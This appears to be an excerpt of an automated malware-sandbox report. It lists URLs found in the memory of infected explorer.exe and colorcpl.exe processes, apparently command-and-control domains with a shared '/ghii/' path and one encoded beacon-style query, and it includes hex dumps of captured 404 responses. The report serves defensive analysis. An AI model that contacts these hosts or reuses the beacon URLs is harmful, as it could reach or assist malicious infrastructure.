Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bemmulher.online
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bemmulher.online/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cutgang.net
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.cutgang.net/ghii/
Source: colorcpl.exe, 00000005.00000002.571083192.0000000007C19000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.568364047.000000000357A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cutgang.net/ghii/?1LM=ZjEpLe7oxQ70uLnf6hiyuc6pu0EMckSA0PTIEH8mULBl4PD4NIfksCJCZa9jgfqw8h
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.de-nagel.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.de-nagel.com/ghii/
Source: explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.de-nagel.com/h
Source: explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.energybig.xyz
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.energybig.xyz/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fluxgreenn.space
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fluxgreenn.space/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.genuineinsights.cloud
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.genuineinsights.cloud/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hubyazilim.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hubyazilim.com/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ixirwholesale.xyz
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ixirwholesale.xyz/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ladybillplanet.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ladybillplanet.com/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nortonseecurity.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nortonseecurity.com/ghii/
Source: explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.octohoki.net
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.octohoki.net/ghii/
Source: colorcpl.exe, 00000005.00000002.570570309.0000000005C2C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/
Source: colorcpl.exe, 00000005.00000002.570570309.0000000005C2C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/?dn=
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sem-jobs.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sem-jobs.com/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wenzid4.top
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.wenzid4.top/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.yeah-go.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.yeah-go.com/ghii/
Source: -912K03JO.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: -912K03JO.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: -912K03JO.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: -912K03JO.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: colorcpl.exe, 00000005.00000002.570570309.0000000005A9A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Montserrat:200
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: colorcpl.exe, 00000005.00000003.383541410.0000000007BF6000.00000004.00000020.00020000.00000000.sdmp, -912K03JO.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 20 Feb 2023 10:21:41 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Feb 2023 10:24:27 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Feb 2023 10:24:30 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Feb 2023 10:24:36 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Feb 2023 10:24:38 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 